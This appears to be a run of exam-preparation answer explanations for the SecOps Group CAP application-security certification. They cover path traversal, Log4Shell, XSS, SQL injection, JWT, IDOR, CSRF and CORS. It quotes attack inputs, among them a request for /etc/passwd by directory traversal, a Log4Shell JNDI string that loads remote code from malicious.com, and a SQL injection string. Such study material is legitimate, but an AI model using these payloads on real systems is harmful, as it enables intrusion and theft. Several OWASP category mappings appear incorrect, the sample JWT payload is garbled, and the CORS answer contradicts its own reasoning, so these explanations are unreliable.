The HTTP request is a GET to /help.php with a parameter file=../../../etc/passwd. Let’s analyze the vulnerability:

The file parameter includes ../ sequences, which are used to navigate up the directory structure (.. moves up one directory level). The request attempts to access /etc/passwd, a sensitive system file on Linux servers that contains user information.

This is indicative of aPath Traversal Vulnerability(also known as Directory Traversal), where an attacker manipulates file paths to access unauthorized files outside the intended directory. If the server does not sanitize or restrict the file parameter, it may serve the contents of /etc/passwd, leading to sensitive information disclosure.

Option A ("Cross-Site Request Forgery Vulnerability"): CSRF involves tricking a user into making an unintended request, typically via a malicious form or link. This request does not indicate CSRF; it’s a direct attempt to manipulate file access, so this is incorrect.

Option B ("Path Traversal Vulnerability"): As explained, the ../ sequences in the file parameter are a clear attempt at path traversal, making this the correct answer.

Option C ("Code Injection Vulnerability"): Code injection involves executing malicious code (e.g., PHP, SQL), but this request aims to read a file, not execute code, so this is incorrect.

Option D ("All of the above"): Since only Path Traversal applies, this is incorrect.

The correct answer is B, aligning with the CAP syllabus under "Path Traversal" and "OWASP Top 10 (A05:2021 - Security Misconfiguration)."References: SecOps Group CAP Documents - "Path Traversal Attacks," "Input Validation," and "OWASP Secure Coding Practices" sections.

The Log4j vulnerability, identified asCVE-2021-44228(commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leveragesJNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.References: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.

The xmlrpc.php endpoint is a file commonly associated with WordPress, a popular Content Management System (CMS). XML-RPC (XML Remote Procedure Call) is a protocol used for remote communication, and in WordPress, xmlrpc.php enables features like remote publishing, pingbacks, and trackbacks. However, it is also a frequent target for attacks (e.g., brute-force attacks, DDoS) if not properly secured or disabled when unnecessary. While other CMS platforms like Drupal may support XML-RPC, they typically do not use a file named xmlrpc.php by default; Drupal’s XML-RPC functionality is often integrated into its core or modules (e.g., via xmlrpc.module) and uses different endpoints.

Option A ("WordPress"): Correct, as xmlrpc.php is a hallmark of WordPress installations.

Option B ("Drupal"): Incorrect, as Drupal does not use xmlrpc.php by default; its XML-RPC endpoints are different.

Option C ("Both A and B"): Incorrect, as xmlrpc.php is specific to WordPress.

Option D ("None of the above"): Incorrect, as WordPress is the correct match.

The correct answer is A, aligning with the CAP syllabus under "CMS Security" and "WordPress Vulnerabilities."References: SecOps Group CAP Documents - "Content Management System Security," "WordPress Hardening," and "OWASP CMS Security Guide" sections.

A safe password must adhere to security best practices, including sufficient length, complexity, and resistance to common attacks (e.g., brute force, dictionary attacks). Let’s evaluate each option:

Option A ("Monday@123"): This password is weak because it combines a common word ("Monday") with a simple number and symbol pattern. It is vulnerable to dictionary attacks and does not meet complexity requirements (e.g., mixed case, special characters, and randomness).

Option B ("abcdef"): This is a sequence of letters with no numbers, special characters, or uppercase letters. It is extremely weak and easily guessable, making it unsafe.

Option C ("Sq0Jh819%ak"): This password is considered safe because it is at least 10 characters long, includes a mix of uppercase letters (S, J, H), lowercase letters (q, h, a, k), numbers (0, 8, 9, 1), and a special character (%). It lacks predictable patterns and meets modern password policy standards (e.g., NIST SP 800-63B recommends at least 8 characters with complexity).

Option D ("1234567890"): This is a simple numeric sequence, highly predictable, and vulnerable to brute-force attacks, making it unsafe.

The correct answer is C, as it aligns with secure password creation guidelines, a key topic in the CAP syllabus under "Authentication Security" and "Secure Coding Practices."References: SecOps Group CAP Documents - "Password Management," "Authentication Security," and "OWASP Secure Coding Guidelines" sections.

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the context of the victim’s browser, enabling various exploitations. Let’s evaluate each option:

Option A ("Steal the user's session identifier stored on a non HttpOnly cookie"): This is possible with XSS. If a session cookie is not marked as HttpOnly (preventing JavaScript access), an attackercan use a script to access document.cookie and steal the session ID, leading to session hijacking.

Option B ("Steal the contents from the web page"): This is also possible. An XSS payload can manipulate the DOM, extract content (e.g., via innerHTML), and send it to the attacker, such as through a GET request to a malicious server.

Option C ("Steal the contents from the application's database"): This is not possible with XSS alone. XSS operates on the client side within the browser’s sandbox and cannot directly access the server-side database. Database access requires server-side vulnerabilities (e.g., SQL injection), which is a separate attack vector. Thus, this exploitation is not feasible through XSS.

Option D ("Steal the contents from the user's keystrokes using keyloggers"): This is possible. An XSS script can inject a keylogger (e.g., using onkeydown events) to capture keystrokes and transmit them to the attacker, especially on pages where sensitive data (e.g., forms) is entered.

Therefore, the correct answer is C, as XSS cannot directly exploit the database. This distinction is crucial in understanding attack vectors, a core topic in the CAP syllabus under "OWASP Top 10 (A03:2021 - Injection)" and "XSS Mitigation."

References: SecOps Group CAP Documents - "OWASP Top 10," "Cross-Site Scripting (XSS)," and "Client-Side Attack Vectors" sections.

The robots.txt file is a text file placed in a website’s root directory to communicate with web crawlers (e.g., Googlebot) about which pages or resources should not be accessed or indexed. It uses directives like Disallow to specify restricted areas (e.g., Disallow: /admin/). However, robots.txt is not a security mechanism; it is only a request to crawlers, and malicious bots or users can ignore it.

Option A ("Developers must not list any sensitive files and directories in this file"): Correct. Listing sensitive files or directories (e.g., Disallow: /secret/) in robots.txt can inadvertently expose their existence to attackers, who can then attempt to access them directly. The best practice is to avoid mentioning sensitive paths and rely on proper access controls (e.g., authentication, authorization) instead.

Option B ("Developers must list all sensitive files and directories in this file to secure them"): Incorrect. Listing sensitive paths in robots.txt does not secure them; it only informs crawlers to avoid them, and it can serve as a roadmap for attackers.

Option C ("Both A and B"): Incorrect, as A and B are contradictory; B is false.

Option D ("None of the above"): Incorrect, as A is true.

The correct answer is A, aligning with the CAP syllabus under "Web Crawler Security" and "Information Disclosure Prevention."References: SecOps Group CAP Documents - "robots.txt Usage," "Information Exposure," and "OWASP Web Security Testing Guide" sections.

SQL Injection (SQLi) occurs when an attacker injects malicious SQL code into a query by manipulating user input (e.g., ' OR '1'='1'), allowing unauthorized data access or manipulation. Let’s evaluate the defenses:

Option A ("Using a Web Application Firewall (WAF)"): A WAF can detect and block SQL injection attempts by filtering malicious patterns (e.g., ' OR '1'='1'), but it is not the primary defense. WAFs can be bypassed with sophisticated attacks (e.g., encoded payloads), and they are a secondary layer, not a fix for the root cause in the application code.

Option B ("Prepared Statements with Parameterized Queries"): Correct. Prepared statements with parameterized queries separate SQL code from user input by using placeholders (e.g., ? in SELECT * FROM users WHERE username = ?). The database engine handles the input as data, not executable code, preventing SQL injection. This is the industry-standard primary defense (recommended by OWASP and NIST) because it addresses the root cause by ensuring user input cannot alter the query structure.

Option C ("Use of NoSQL Database"): Switching to a NoSQL database (e.g., MongoDB) does not inherently prevent injection vulnerabilities. NoSQL databases can still be vulnerable to injection (e.g., MongoDB’s $where operator), and SQL injection applies to relational databases. This is not a defense against SQLi.

Option D ("Blacklisting Single Quote Character (‘)"): Blacklisting specific characters (e.g., ') attempts to block known malicious input, but it is ineffective as a primary defense. Attackers can bypass blacklists using alternate encodings (e.g., %27 for '), comments (e.g., --), or other techniques. Blacklisting is reactive and prone to evasion, unlike prepared statements.

The correct answer is B, aligning with the CAP syllabus under "SQL Injection Prevention" and "OWASP Top 10 (A03:2021 - Injection)."References: SecOps Group CAP Documents - "SQL Injection Defense," "Secure Coding Practices," and "OWASP SQL Injection Prevention Cheat Sheet" sections.

A JSON Web Token (JWT) consists of three parts separated by dots (.):Header,Payload, andSignature. Each part is Base64Url-encoded. The given JWT is:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJUYW1I1joiU2vjbB3ZiNo_mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8

The first part (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9) is the Header, which typically includes metadata like the algorithm (alg) and type (typ). Decoding it gives: {"alg":"HS256","typ":"JWT"}.

The second part (eyJUYW1I1joiU2vjbB3ZiNo_mn0vNWT4G1-ATqOTmo7rm70VI12WCdkMI_S1_bPg_G8) is the Payload, which contains claims (e.g., user data, expiration). The highlighted segment corresponds to this second part, making it the Payload. Decoding it (though incomplete due to truncation) would reveal claims in JSON format.

The third part (not fully shown) would be the Signature, used to verify the token’s integrity.

Option A ("The highlighted segment of the token represents a JWT Header"): Incorrect, as the highlighted segment is the second part, which is the Payload.

Option B ("The highlighted segment of the token represents a JWT Payload"): Correct, as the highlighted segment is the Payload portion of the JWT.

Option C ("Both A and B are correct"): Incorrect, as only B is correct.

Option D ("None of the above"): Incorrect, as B is correct.

The correct answer is B, aligning with the CAP syllabus under "JWT Security" and "Token-Based Authentication."

References: SecOps Group CAP Documents - "JSON Web Tokens (JWT)," "Authentication Security," and "OWASP JWT Cheat Sheet" sections.

The scenario describes an e-commerce website where a user can view order details by manipulating the order_id parameter in the URL (e.g., https://example.com/order_id=53870). A security researcher found that changing the order_id allows access to arbitrary orders and sensitive data, indicating an authorization issue. This is not a simple input validation problem (e.g., SQL injection or path traversal), as the input (order_id) is processed, but the system fails to enforce proper access controls. This is a classic case of Insecure Direct Object References (IDOR), where an attacker can access resources by guessing or manipulating identifiers without proper authorization checks. The root cause is a weak authorization mechanism, likely tied to poor session management orprivilege validation, allowing unauthorized users to view others’ data.

Option A ("The root cause of the problem is a lack of input validation..."): Incorrect, as the issue is not about invalid input (e.g., malicious code) but about unauthorized access to valid data. Whitelisting might help sanitize input, but it doesn’t address authorization.

Option B ("The root cause of the problem is a weak authorization (Session Management)..."): Correct, as the problem stems from inadequate authorization checks. Validating user privileges (e.g., ensuring the user can only access their own orders) or improving session management (e.g., tying orders to user sessions) can fix this IDOR vulnerability.

Option C ("The problem can be solved by implementing a Web Application Firewall (WAF)"): Incorrect as a standalone solution, as WAFs mitigate certain attacks (e.g., SQLi, XSS) but are not a substitute for fixing authorization logic. A WAF might detect patterns but won’t enforce proper access control.

Option D ("None of the above"): Incorrect, as Option B accurately identifies the root cause and solution.

The correct answer is B, aligning with the CAP syllabus under "Authorization and Access Control" and "OWASP Top 10 (A04:2021 - Insecure Design)."References: SecOps Group CAP Documents - "Session Management," "Insecure Direct Object References (IDOR)," and "OWASP Top 10" sections.

Google Dorks are advanced search operators used to find specific information or vulnerabilities on the web. Directory listing vulnerabilities occur when a web server exposes the contents of a directory (e.g., file names, paths) due to misconfiguration. The operators intitle: and intext: are used to search for specific terms in the title or body of web pages, respectively, combined with site: to limit the search to a specific domain.

Option A ("intitle:'Index of' site:victim-app.com"): Correct, as intitle:"Index of" targets pages with "Index of" in the title, a common indicator of directory listings, and site:victim-app.com restricts the search to that domain.

Option B ("intext:'Index of' site:victim-app.com"): Correct, as intext:"Index of" searches for "Index of" within the page content, another reliable indicator of directory listings, combined with the domain restriction.

Option C ("Both A and B"): Correct, as both intitle: and intext: can effectively identify directory listings, making this the most comprehensive answer.

Option D ("None of the above"): Incorrect, as both A and B are valid Google Dorks for this purpose.

The correct answer is C, aligning with the CAP syllabus under "Reconnaissance Techniques" and "Google Dorking."References: SecOps Group CAP Documents - "Information Gathering," "Google Hacking," and "OWASP Testing Guide" sections.

The HTTP request is a POST to /changepassword with a session cookie (JSESSIONID) and parameters new_password and confirm_password. Let’s evaluate each option:

Option A ("The change password feature does not validate the user"): The request includes a JSESSIONID cookie, which typically indicates that the user is authenticated via a session. There’s no evidence that user validation is absent, so this is not correct.

Option B ("The change password feature uses basic authorization"): Basic authorization would involve an Authorization: Basic header with a Base64-encoded username and password, which is not present here. The authentication appears to be session-based (via cookie), not basic auth, so this is incorrect.

Option C ("The change password feature is vulnerable to Cross-Site Request Forgery attack"): Cross-Site Request Forgery (CSRF) occurs when a malicious site tricks a user’s browser into making an unintended request to another site where the user is authenticated. This request lacks a CSRF token (e.g., a unique, unpredictable token in the request body or header) to verify the request’s legitimacy. The Sec-Fetch-Site: same-origin header indicates the request is currently from the same origin, but this is a browser feature, not a server-side CSRF protection. Without a CSRF token, the endpoint is vulnerable to CSRF, as an attacker could craft a malicious form on another site to submit this request on behalf of the user. This is the correct answer.

Option D ("All of the above"): Since A and B are incorrect, D cannot be correct.

The correct answer is C, aligning with the CAP syllabus under "Cross-Site Request Forgery (CSRF)" and "OWASP Top 10 (A08:2021 - Software and Data Integrity Failures)."References: SecOps Group CAP Documents - "CSRF Prevention," "Session Management," and "OWASP Secure Coding Practices" sections.

The HTTP response headers provide metadata about the server and its configuration. Let’s analyze each header and evaluate the statements:

Headers Breakdown:

Server: Microsoft-IIS/8.0: Indicates the web server is Microsoft Internet Information Services (IIS) version 8.0.

X-AspNet-Version: 2.0.50727: Indicates the application is using ASP.NET version 2.0.50727.

X-Powered-By: ASP.NET: Confirms the application framework is ASP.NET.

Other headers (e.g., Cache-Control, Content-Type, Expires) are standard and not directly relevant to the statements.

Option A ("The application is using an outdated server technology"): The Server: Microsoft-IIS/8.0 header indicates the server is running IIS 8.0, which was released in 2012 and is associated with Windows Server 2012. As of the current date (March 06, 2025), IIS 8.0 is outdated; Microsoft has released newer versions (e.g., IIS 10 with Windows Server 2016/2019). Additionally, mainstream support for Windows Server 2012 ended in October 2018, and extended support ended in October 2023, making IIS 8.0 unsupported and vulnerable to unpatched security issues. This statement is true.

Option B ("The application is disclosing the server version"): The Server: Microsoft-IIS/8.0 header explicitly discloses the server type (IIS) and version (8.0). Disclosing server version information is a security risk because attackers can use this to identify known vulnerabilities specific to that version (e.g., CVE exploits for IIS 8.0). Best practice is to suppress or obfuscate this header (e.g., Server: WebServer), so this statement is true.

Option C ("The application is disclosing the version of the framework used"): The X-AspNet-Version: 2.0.50727 header reveals the ASP.NET framework version (2.0.50727), which corresponds to .NET Framework 2.0, released in 2005. Disclosing the framework version is a security risk because attackers can target known vulnerabilities in that version (e.g., .NET Framework 2.0 is long unsupported; support ended in 2011). Best practice is to disable this header in the application configuration (e.g., in web.config for ASP.NET), so this statement is true.

Option D ("All of the above"): Since A (outdated server technology), B (disclosing server version), and C (disclosing framework version) are all true, this is the correct answer.

The correct answer is D, aligning with the CAP syllabus under "Information Disclosure" and "HTTP Header Security."References: SecOps Group CAP Documents - "Information Disclosure Prevention," "Server Hardening," and "OWASP Secure Headers Project" sections.

This question is identical to Question 52, describing a scenario where a TLS certificate has expired, causing a TLS error message, and asking about the correct course of action. The analysis remains the same:

Option A ("There is no urgency to renew the certificate as the communication is still over TLS"): Incorrect. An expired TLS certificate invalidates the trust model, even if the connection technically uses TLS. Browsers will issue warnings, and users may bypass them, but the lack of a valid certificate compromises security, making renewal urgent.

Option B ("There is an urgency to renew the certificate as the users of the website may get conditioned to ignore TLS warnings and therefore ignore a legitimate warning which could be a real Man-in-the-Middle attack"): Correct. Repeated exposure to TLS warnings due to an expired certificate may desensitize users, increasing the risk that they ignore legitimate warnings from a Man-in-the-Middle (MitM) attack. Renewing the certificate promptly is essential to maintain security and user trust.

The correct answer is B, aligning with the CAP syllabus under "TLS Configuration" and "Certificate Management."References: SecOps Group CAP Documents - "TLS Security," "Certificate Expiry Management," and "OWASP Transport Layer Protection Cheat Sheet" sections.

The scenario describes a password reset mechanism where a user receives an email with a reset link: http://example.com/reset_password?userId=5298. Let’s evaluate each option:

Option A ("The reset link uses an insecure channel"): The reset link uses http:// instead of https://, indicating an insecure channel (HTTP instead of HTTPS). Transmitting sensitive data (e.g., a reset link) over HTTP allows an attacker to intercept the request, potentially stealing the reset token or user ID. This makes the reset mechanism insecure, so this statement is true.

Option B ("The application is vulnerable to username enumeration"): The message "If the email exists, we will email you a link to reset the password" is generic and does not reveal whether the email exists, which is a best practice to prevent username enumeration. Username enumeration would occur if the application responded differently for existing vs. non-existing users (e.g., "Email not found"). Here, there’s no indication of enumeration vulnerability, so this statement is false.

Option C ("The application will allow the user to reset an arbitrary user’s password"): The reset link includes a userId=5298 parameter, which appears to directly reference a user’s ID. If an attacker can manipulate this parameter (e.g., to userId=5299), they might be able to reset another user’s password, especially if the application does not validate that the reset request is tied to the user’s session or email. The link also lacks a one-time token or other verification mechanism to ensure the request is legitimate. This suggests an Insecure Direct Object Reference (IDOR) vulnerability, making this statement true.

Option D ("Both A and C"): Since both A (insecure channel) and C (arbitrary password reset) are true, this is the correct answer.

The correct answer is D, aligning with the CAP syllabus under "Password Reset Security" and "Insecure Direct Object References (IDOR)."References: SecOps Group CAP Documents - "Password Reset Best Practices," "IDOR Vulnerabilities," and "OWASP Authentication Cheat Sheet" sections.

Cross-Origin Resource Sharing (CORS) is a security mechanism that allows servers to specify which origins can access their resources, relaxing the Same-Origin Policy (SOP) for legitimate cross-origin requests. CORS uses specific HTTP headers to control this access. The key header for controlling access to resources isAccess-Control-Allow-Origin, which specifies which origins are permitted to access the resource. However, among the provided options, the closest related header isAccess-Control-Allow-Headers, which is part of the CORS standard and controls which request headers can be used in the actual request (e.g., during a preflight OPTIONS request).

Option A ("Access-Control-Request-Method"): This header is sent by the client in a preflight request to indicate the HTTP method (e.g., GET, POST) that will be used in the actual request. It is not used by the server to control access.

Option B ("Access-Control-Request-Headers"): This header is sent by the client in apreflight request to list the headers it plans to use in the actual request. It is not used by the server to control access.

Option C ("Access-Control-Allow-Headers"): This header is sent by the server in response to a preflight request, specifying which headers are allowed in the actual request. While Access-Control-Allow-Origin is the primary header for controlling access, Access-Control-Allow-Headers is part of the CORS standard to manage header-based access control, making this the best match among the options.

Option D ("None of the above"): Incorrect, as Access-Control-Allow-Headers is a CORS header.

The correct answer is C, aligning with the CAP syllabus under "CORS Security" and "HTTP Headers."References: SecOps Group CAP Documents - "CORS Configuration," "Security Headers," and "OWASP Secure Headers Guide" sections.